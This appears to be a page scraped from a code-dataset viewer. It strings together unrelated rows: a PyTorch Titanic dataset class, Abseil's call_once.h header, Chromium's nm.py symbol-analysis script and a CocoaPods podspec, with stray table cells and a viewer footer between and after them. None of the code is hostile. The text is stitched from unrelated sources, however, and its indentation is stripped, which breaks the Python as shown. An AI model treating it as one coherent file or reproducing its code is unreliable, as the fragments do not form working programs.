from sklearn.preprocessing import LabelEncoder
from torchvision.datasets.utils import download_url
class TitanicDataset(torch.utils.data.Dataset):
def __init__(self, root: str, train: bool = True):
filename = 'train.csv' if train else 'eval.csv'
if not os.path.exists(os.path.join(root, filename)):
download_url(os.path.join('https://storage.googleapis.com/tf-datasets/titanic/', filename), root, filename)
df = pd.read_csv(os.path.join(root, filename))
object_colunmns = df.select_dtypes(include='object').columns.values
for idx in df.columns:
if idx in object_colunmns:
df[idx] = LabelEncoder().fit_transform(df[idx])
self.x = df.iloc[:, 1:].values
self.y = df.iloc[:, 0].values
def __len__(self):
return len(self.y)
def __getitem__(self, idx):
return torch.Tensor(self.x[idx]), self.y[idx]
def accuracy(output, target):
batch_size = target.size(0)
_, predicted = torch.max(output.data, 1)
return {"acc1": (predicted == target).sum().item() / batch_size} | 499 |
14,668 | // Copyright 2017 The Abseil Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// -----------------------------------------------------------------------------
// File: call_once.h
// -----------------------------------------------------------------------------
//
// This header file provides an Abseil version of `std::call_once` for invoking
// a given function at most once, across all threads. This Abseil version is
// faster than the C++11 version and incorporates the C++17 argument-passing
// fix, so that (for example) non-const references may be passed to the invoked
// function.
#ifndef ABSL_BASE_CALL_ONCE_H_
#define ABSL_BASE_CALL_ONCE_H_
#include <algorithm>
#include <atomic>
#include <cstdint>
#include <type_traits>
#include <utility>
#include "absl/base/internal/invoke.h"
#include "absl/base/internal/low_level_scheduling.h"
#include "absl/base/internal/raw_logging.h"
#include "absl/base/internal/scheduling_mode.h"
#include "absl/base/internal/spinlock_wait.h"
#include "absl/base/macros.h"
#include "absl/base/optimization.h"
#include "absl/base/port.h"
namespace absl {
ABSL_NAMESPACE_BEGIN
class once_flag;
namespace base_internal {
std::atomic<uint32_t>* ControlWord(absl::once_flag* flag);
} // namespace base_internal
// call_once()
//
// For all invocations using a given `once_flag`, invokes a given `fn` exactly
// once across all threads. The first call to `call_once()` with a particular
// `once_flag` argument (that does not throw an exception) will run the
// specified function with the provided `args`; other calls with the same
// `once_flag` argument will not run the function, but will wait
// for the provided function to finish running (if it is still running).
//
// This mechanism provides a safe, simple, and fast mechanism for one-time
// initialization in a multi-threaded process.
//
// Example:
//
// class MyInitClass {
// public:
// ...
// mutable absl::once_flag once_;
//
// MyInitClass* init() const {
// absl::call_once(once_, &MyInitClass::Init, this);
// return ptr_;
// }
//
template <typename Callable, typename... Args>
void call_once(absl::once_flag& flag, Callable&& fn, Args&&... args);
// once_flag
//
// Objects of this type are used to distinguish calls to `call_once()` and
// ensure the provided function is only invoked once across all threads. This
// type is not copyable or movable. However, it has a `constexpr`
// constructor, and is safe to use as a namespace-scoped global variable.
class once_flag {
public:
constexpr once_flag() : control_(0) {}
once_flag(const once_flag&) = delete;
once_flag& operator=(const once_flag&) = delete;
private:
friend std::atomic<uint32_t>* base_internal::ControlWord(once_flag* flag);
std::atomic<uint32_t> control_;
};
//------------------------------------------------------------------------------
// End of public interfaces.
// Implementation details follow.
//------------------------------------------------------------------------------
namespace base_internal {
// Like call_once, but uses KERNEL_ONLY scheduling. Intended to be used to
// initialize entities used by the scheduler implementation.
template <typename Callable, typename... Args>
void LowLevelCallOnce(absl::once_flag* flag, Callable&& fn, Args&&... args);
// Disables scheduling while on stack when scheduling mode is non-cooperative.
// No effect for cooperative scheduling modes.
class SchedulingHelper {
public:
explicit SchedulingHelper(base_internal::SchedulingMode mode) : mode_(mode) {
if (mode_ == base_internal::SCHEDULE_KERNEL_ONLY) {
guard_result_ = base_internal::SchedulingGuard::DisableRescheduling();
}
}
~SchedulingHelper() {
if (mode_ == base_internal::SCHEDULE_KERNEL_ONLY) {
base_internal::SchedulingGuard::EnableRescheduling(guard_result_);
}
}
private:
base_internal::SchedulingMode mode_;
bool guard_result_;
};
// Bit patterns for call_once state machine values. Internal implementation
// detail, not for use by clients.
//
// The bit patterns are arbitrarily chosen from unlikely values, to aid in
// debugging. However, kOnceInit must be 0, so that a zero-initialized
// once_flag will be valid for immediate use.
enum {
kOnceInit = 0,
kOnceRunning = 0x65C2937B,
kOnceWaiter = 0x05A308D2,
// A very small constant is chosen for kOnceDone so that it fit in a single
// compare with immediate instruction for most common ISAs. This is verified
// for x86, POWER and ARM.
kOnceDone = 221, // Random Number
};
template <typename Callable, typename... Args>
ABSL_ATTRIBUTE_NOINLINE
void CallOnceImpl(std::atomic<uint32_t>* control,
base_internal::SchedulingMode scheduling_mode, Callable&& fn,
Args&&... args) {
#ifndef NDEBUG
{
uint32_t old_control = control->load(std::memory_order_relaxed);
if (old_control != kOnceInit &&
old_control != kOnceRunning &&
old_control != kOnceWaiter &&
old_control != kOnceDone) {
ABSL_RAW_LOG(FATAL, "Unexpected value for control word: 0x%lx",
static_cast<unsigned long>(old_control)); // NOLINT
}
}
#endif // NDEBUG
static const base_internal::SpinLockWaitTransition trans[] = {
{kOnceInit, kOnceRunning, true},
{kOnceRunning, kOnceWaiter, false},
{kOnceDone, kOnceDone, true}};
// Must do this before potentially modifying control word's state.
base_internal::SchedulingHelper maybe_disable_scheduling(scheduling_mode);
// Short circuit the simplest case to avoid procedure call overhead.
// The base_internal::SpinLockWait() call returns either kOnceInit or
// kOnceDone. If it returns kOnceDone, it must have loaded the control word
// with std::memory_order_acquire and seen a value of kOnceDone.
uint32_t old_control = kOnceInit;
if (control->compare_exchange_strong(old_control, kOnceRunning,
std::memory_order_relaxed) ||
base_internal::SpinLockWait(control, ABSL_ARRAYSIZE(trans), trans,
scheduling_mode) == kOnceInit) {
base_internal::invoke(std::forward<Callable>(fn),
std::forward<Args>(args)...);
old_control =
control->exchange(base_internal::kOnceDone, std::memory_order_release);
if (old_control == base_internal::kOnceWaiter) {
base_internal::SpinLockWake(control, true);
}
} // else *control is already kOnceDone
}
inline std::atomic<uint32_t>* ControlWord(once_flag* flag) {
return &flag->control_;
}
template <typename Callable, typename... Args>
void LowLevelCallOnce(absl::once_flag* flag, Callable&& fn, Args&&... args) {
std::atomic<uint32_t>* once = base_internal::ControlWord(flag);
uint32_t s = once->load(std::memory_order_acquire);
if (ABSL_PREDICT_FALSE(s != base_internal::kOnceDone)) {
base_internal::CallOnceImpl(once, base_internal::SCHEDULE_KERNEL_ONLY,
std::forward<Callable>(fn),
std::forward<Args>(args)...);
}
}
} // namespace base_internal
template <typename Callable, typename... Args>
void call_once(absl::once_flag& flag, Callable&& fn, Args&&... args) {
std::atomic<uint32_t>* once = base_internal::ControlWord(&flag);
uint32_t s = once->load(std::memory_order_acquire);
if (ABSL_PREDICT_FALSE(s != base_internal::kOnceDone)) {
base_internal::CallOnceImpl(
once, base_internal::SCHEDULE_COOPERATIVE_AND_KERNEL,
std::forward<Callable>(fn), std::forward<Args>(args)...);
}
}
ABSL_NAMESPACE_END
} // namespace absl
#endif // ABSL_BASE_CALL_ONCE_H_
| 2,768 |
14,668 | <reponame>zealoussnow/chromium<filename>tools/binary_size/libsupersize/nm.py
#!/usr/bin/env python3
# Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Runs nm on specified .a and .o file, plus some analysis.
CollectAliasesByAddress():
Runs nm on the elf to collect all symbol names. This reveals symbol names of
identical-code-folded functions.
CollectAliasesByAddressAsync():
Runs CollectAliasesByAddress in a subprocess and returns a promise.
RunNmOnIntermediates():
BulkForkAndCall() target: Runs nm on a .a file or a list of .o files, parses
the output, extracts symbol information, and (if available) extracts string
offset information.
CreateUniqueSymbols():
Creates Symbol objects from nm output.
"""
import argparse
import collections
import logging
import os
import subprocess
import demangle
import models
import parallel
import path_util
import readelf
import sys
def _IsRelevantNmName(name):
# Skip lines like:
# 00000000 t $t
# 00000000 r $d.23
# 00000344 N
return name and not name.startswith('$')
def _IsRelevantObjectFileName(name):
# Prevent marking compiler-generated symbols as candidates for shared paths.
# E.g., multiple files might have "CSWTCH.12", but they are different symbols.
#
# Find these via:
# size_info.symbols.GroupedByFullName(min_count=-2).Filter(
# lambda s: s.WhereObjectPathMatches('{')).SortedByCount()
# and then search for {shared}.
# List of names this applies to:
# startup
# __tcf_0 <-- Generated for global destructors.
# ._79
# .Lswitch.table, .Lswitch.table.12
# CSWTCH.12
# lock.12
# table.12
# __compound_literal.12
# .L.ref.tmp.1
# .L.str, .L.str.3
# .L__func__.main: (when using __func__)
# .L__FUNCTION__._ZN6webrtc17AudioDeviceBuffer11StopPlayoutEv
# .L__PRETTY_FUNCTION__._Unwind_Resume
# .L_ZZ24ScaleARGBFilterCols_NEONE9dx_offset (an array literal)
if name in ('__tcf_0', 'startup'):
return False
if name.startswith('._') and name[2:].isdigit():
return False
if name.startswith('.L') and name.find('.', 2) != -1:
return False
dot_idx = name.find('.')
if dot_idx == -1:
return True
name = name[:dot_idx]
return name not in ('CSWTCH', 'lock', '__compound_literal', 'table')
def CollectAliasesByAddress(elf_path, tool_prefix):
"""Runs nm on |elf_path| and returns a dict of address->[names]"""
# Constructors often show up twice, so use sets to ensure no duplicates.
names_by_address = collections.defaultdict(set)
# Many OUTLINED_FUNCTION_* entries can coexist on a single address, possibly
# mixed with regular symbols. However, naively keeping these is bad because:
# * OUTLINED_FUNCTION_* can have many duplicates. Keeping them would cause
# false associations downstream, when looking up object_paths from names.
# * For addresses with multiple OUTLINED_FUNCTION_* entries, we can't get the
# associated object_path (exception: the one entry in the .map file, for LLD
# without ThinLTO). So keeping copies around is rather useless.
# Our solution is to merge OUTLINED_FUNCTION_* entries at the same address
# into a single symbol. We'd also like to keep track of the number of copies
# (although it will not be used to compute PSS computation). This is done by
# writing the count in the name, e.g., '** outlined function * 5'.
num_outlined_functions_at_address = collections.Counter()
# About 60mb of output, but piping takes ~30s, and loading it into RAM
# directly takes 3s.
args = [path_util.GetNmPath(tool_prefix), '--no-sort', '--defined-only',
elf_path]
# pylint: disable=unexpected-keyword-arg
proc = subprocess.Popen(args,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
encoding='utf-8')
# llvm-nm may write to stderr. Discard to denoise.
stdout, _ = proc.communicate()
assert proc.returncode == 0
for line in stdout.splitlines():
space_idx = line.find(' ')
address_str = line[:space_idx]
section = line[space_idx + 1]
mangled_name = line[space_idx + 3:]
# To verify that rodata does not have aliases:
# nm --no-sort --defined-only libchrome.so > nm.out
# grep -v '\$' nm.out | grep ' r ' | sort | cut -d' ' -f1 > addrs
# wc -l < addrs; uniq < addrs | wc -l
if section not in 'tTW' or not _IsRelevantNmName(mangled_name):
continue
address = int(address_str, 16)
if not address:
continue
if mangled_name.startswith('OUTLINED_FUNCTION_'):
num_outlined_functions_at_address[address] += 1
else:
names_by_address[address].add(mangled_name)
# Need to add before demangling because |names_by_address| changes type.
for address, count in num_outlined_functions_at_address.items():
name = '** outlined function' + (' * %d' % count if count > 1 else '')
names_by_address[address].add(name)
# Demangle all names.
demangle.DemangleSetsInDictsInPlace(names_by_address, tool_prefix)
# Since this is run in a separate process, minimize data passing by returning
# only aliased symbols.
# Also: Sort to ensure stable ordering.
return {
addr: sorted(names, key=lambda n: (n.startswith('**'), n))
for addr, names in names_by_address.items()
if len(names) > 1 or num_outlined_functions_at_address.get(addr, 0) > 1
}
def CreateUniqueSymbols(elf_path, tool_prefix, section_ranges):
"""Creates symbols from nm --print-size output.
Creates only one symbol for each address (does not create symbol aliases).
"""
# Filter to sections we care about and sort by (address, size).
section_ranges = [
x for x in section_ranges.items() if x[0] in models.NATIVE_SECTIONS
]
section_ranges.sort(key=lambda x: x[1])
min_address = section_ranges[0][1][0]
max_address = sum(section_ranges[-1][1])
args = [
path_util.GetNmPath(tool_prefix), '--no-sort', '--defined-only',
'--print-size', elf_path
]
# pylint: disable=unexpected-keyword-arg
stdout = subprocess.check_output(args,
stderr=subprocess.DEVNULL,
encoding='utf-8')
lines = stdout.splitlines()
logging.debug('Parsing %d lines of output', len(lines))
symbols_by_address = {}
# Example 32-bit output:
# 00857f94 00000004 t __on_dlclose_late
# 000001ec r ndk_build_number
for line in lines:
tokens = line.split(' ', 3)
num_tokens = len(tokens)
if num_tokens < 3:
# Address with no size and no name.
continue
address_str = tokens[0]
# Check if size is omitted (can happen with binutils but not llvm).
if num_tokens == 3:
size_str = '0'
section = tokens[1]
mangled_name = tokens[2]
else:
size_str = tokens[1]
section = tokens[2]
mangled_name = tokens[3]
if section not in 'BbDdTtRrWw' or not _IsRelevantNmName(mangled_name):
continue
address = int(address_str, 16)
# Ignore symbols outside of sections that we care about.
# Symbols can still exist in sections that we do not care about if those
# sections are interleaved. We discard such symbols in the next loop.
if not min_address <= address < max_address:
continue
# Pick the alias that defines a size.
existing_alias = symbols_by_address.get(address)
if existing_alias and existing_alias.size > 0:
continue
size = int(size_str, 16)
# E.g.: .str.2.llvm.12282370934750212
if mangled_name.startswith('.str.'):
mangled_name = models.STRING_LITERAL_NAME
elif mangled_name.startswith('__ARMV7PILongThunk_'):
# Convert thunks from prefix to suffix so that name is demangleable.
mangled_name = mangled_name[len('__ARMV7PILongThunk_'):] + '.LongThunk'
elif mangled_name.startswith('__ThumbV7PILongThunk_'):
mangled_name = mangled_name[len('__ThumbV7PILongThunk_'):] + '.LongThunk'
# Use address (next loop) to determine between .data and .data.rel.ro.
section_name = None
if section in 'Tt':
section_name = models.SECTION_TEXT
elif section in 'Rr':
section_name = models.SECTION_RODATA
elif section in 'Bb':
section_name = models.SECTION_BSS
# No need to demangle names since they will be demangled by
# DemangleRemainingSymbols().
symbols_by_address[address] = models.Symbol(section_name,
size,
address=address,
full_name=mangled_name)
logging.debug('Sorting %d NM symbols', len(symbols_by_address))
# Sort symbols by address.
sorted_symbols = sorted(symbols_by_address.values(), key=lambda s: s.address)
# Assign section to symbols based on address, and size where unspecified.
# Use address rather than nm's section character to distinguish between
# .data.rel.ro and .data.
logging.debug('Assigning section_name and filling in missing sizes')
section_range_iter = iter(section_ranges)
section_end = -1
raw_symbols = []
active_assembly_sym = None
for i, sym in enumerate(sorted_symbols):
# Move to next section if applicable.
while sym.address >= section_end:
section_range = next(section_range_iter)
section_name, (section_start, section_size) = section_range
section_end = section_start + section_size
# Skip symbols that don't fall into a section that we care about
# (e.g. GCC_except_table533 from .eh_frame).
if sym.address < section_start:
continue
if sym.section_name and sym.section_name != section_name:
logging.warning('Re-assigning section for %r to %s', sym, section_name)
sym.section_name = section_name
if i + 1 < len(sorted_symbols):
next_addr = sorted_symbols[i + 1].address
else:
next_addr = section_end
# Heuristic: Discard subsequent assembly symbols (no size) that are ALL_CAPS
# or .-prefixed, since they are likely labels within a function.
if (active_assembly_sym and sym.size == 0
and sym.section_name == models.SECTION_TEXT):
if sym.full_name.startswith('.') or sym.full_name.isupper():
active_assembly_sym.size += next_addr - sym.address
# Triggers ~30 times for all of libchrome.so.
logging.debug('Discarding assembly label: %s', sym.full_name)
continue
active_assembly_sym = sym if sym.size == 0 else None
# For assembly symbols:
# Add in a size when absent and guard against size overlapping next symbol.
if active_assembly_sym or sym.end_address > next_addr:
sym.size = next_addr - sym.address
raw_symbols.append(sym)
return raw_symbols
def _CollectAliasesByAddressAsyncHelper(elf_path, tool_prefix):
result = CollectAliasesByAddress(elf_path, tool_prefix)
return parallel.EncodeDictOfLists(result, key_transform=str)
def CollectAliasesByAddressAsync(elf_path, tool_prefix):
"""Calls CollectAliasesByAddress in a helper process. Returns a Result."""
def decode(encoded):
return parallel.DecodeDictOfLists(encoded, key_transform=int)
return parallel.ForkAndCall(
_CollectAliasesByAddressAsyncHelper, (elf_path, tool_prefix),
decode_func=decode)
def _ParseOneObjectFileNmOutput(lines):
# Constructors are often repeated because they have the same unmangled
# name, but multiple mangled names. See:
# https://stackoverflow.com/questions/6921295/dual-emission-of-constructor-symbols
symbol_names = set()
string_addresses = []
for line in lines:
if not line:
break
space_idx = line.find(' ') # Skip over address.
section = line[space_idx + 1]
mangled_name = line[space_idx + 3:]
if _IsRelevantNmName(mangled_name):
# Refer to _IsRelevantObjectFileName() for examples of names.
if section == 'r' and (
mangled_name.startswith('.L.str') or
mangled_name.startswith('.L__') and mangled_name.find('.', 3) != -1):
# Leave as a string for easier marshalling.
string_addresses.append(line[:space_idx].lstrip('0') or '0')
elif _IsRelevantObjectFileName(mangled_name):
symbol_names.add(mangled_name)
return symbol_names, string_addresses
# This is a target for BulkForkAndCall().
def RunNmOnIntermediates(target, tool_prefix, output_directory):
"""Returns encoded_symbol_names_by_path, encoded_string_addresses_by_path.
Args:
target: Either a single path to a .a (as a string), or a list of .o paths.
"""
is_archive = isinstance(target, str)
args = [path_util.GetNmPath(tool_prefix), '--no-sort', '--defined-only']
if is_archive:
args.append(target)
else:
args.extend(target)
# pylint: disable=unexpected-keyword-arg
proc = subprocess.Popen(
args,
cwd=output_directory,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding='utf-8')
# llvm-nm can print 'no symbols' to stderr. Capture and count the number of
# lines, to be returned to the caller.
stdout, stderr = proc.communicate()
assert proc.returncode == 0, 'NM failed: ' + ' '.join(args)
num_no_symbols = len(stderr.splitlines())
lines = stdout.splitlines()
# Empty .a file has no output.
if not lines:
return parallel.EMPTY_ENCODED_DICT, parallel.EMPTY_ENCODED_DICT
is_multi_file = not lines[0]
lines = iter(lines)
if is_multi_file:
next(lines)
path = next(lines)[:-1] # Path ends with a colon.
else:
assert not is_archive
path = target[0]
symbol_names_by_path = {}
string_addresses_by_path = {}
while path:
if is_archive:
# E.g. foo/bar.a(baz.o)
path = '%s(%s)' % (target, path)
mangled_symbol_names, string_addresses = _ParseOneObjectFileNmOutput(lines)
symbol_names_by_path[path] = mangled_symbol_names
if string_addresses:
string_addresses_by_path[path] = string_addresses
path = next(lines, ':')[:-1]
# The multiprocess API uses pickle, which is ridiculously slow. More than 2x
# faster to use join & split.
# TODO(agrieve): We could use path indices as keys rather than paths to cut
# down on marshalling overhead.
return (parallel.EncodeDictOfLists(symbol_names_by_path),
parallel.EncodeDictOfLists(string_addresses_by_path), num_no_symbols)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--tool-prefix', required=True)
parser.add_argument('--output-directory', required=True)
parser.add_argument('elf_path', type=os.path.realpath)
args = parser.parse_args()
logging.basicConfig(level=logging.DEBUG,
format='%(levelname).1s %(relativeCreated)6d %(message)s')
# Other functions in this file have test entrypoints in object_analyzer.py.
section_ranges = readelf.SectionInfoFromElf(args.elf_path, args.tool_prefix)
symbols = CreateUniqueSymbols(args.elf_path, args.tool_prefix, section_ranges)
for s in symbols:
print(s)
logging.warning('Printed %d symbols', len(symbols))
if __name__ == '__main__':
main()
| 5,696 |
5,169 | {
"name": "CountryPhoneNumberValidator",
"version": "0.1.1",
"summary": "A phone number validator based on Country dial code",
"description": "The library provides a view for inputing phone number with dial code, returns a country flag and\n validate if the dial code is valid for bthe phone number inputed \nTODO: Add long description of the pod here.",
"homepage": "https://github.com/moderateepheezy/CountryPhoneNumberValidator",
"screenshots": "https://user-images.githubusercontent.com/4386218/33623765-5e8e72d6-d9f2-11e7-851b-f0275fd1d4e1.gif",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"moderateepheezy": "<EMAIL>"
},
"source": {
"git": "https://github.com/moderateepheezy/CountryPhoneNumberValidator.git",
"tag": "0.1.1"
},
"platforms": {
"ios": "11.1"
},
"source_files": "CountryPhoneNumberValidator/Classes/**/*",
"frameworks": "UIKit",
"dependencies": {
"PhoneNumberKit": [
"~> 2.0"
],
"libPhoneNumber-iOS": [
"~> 0.8"
]
},
"pushed_with_swift_version": "4.0"
}
| 426 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.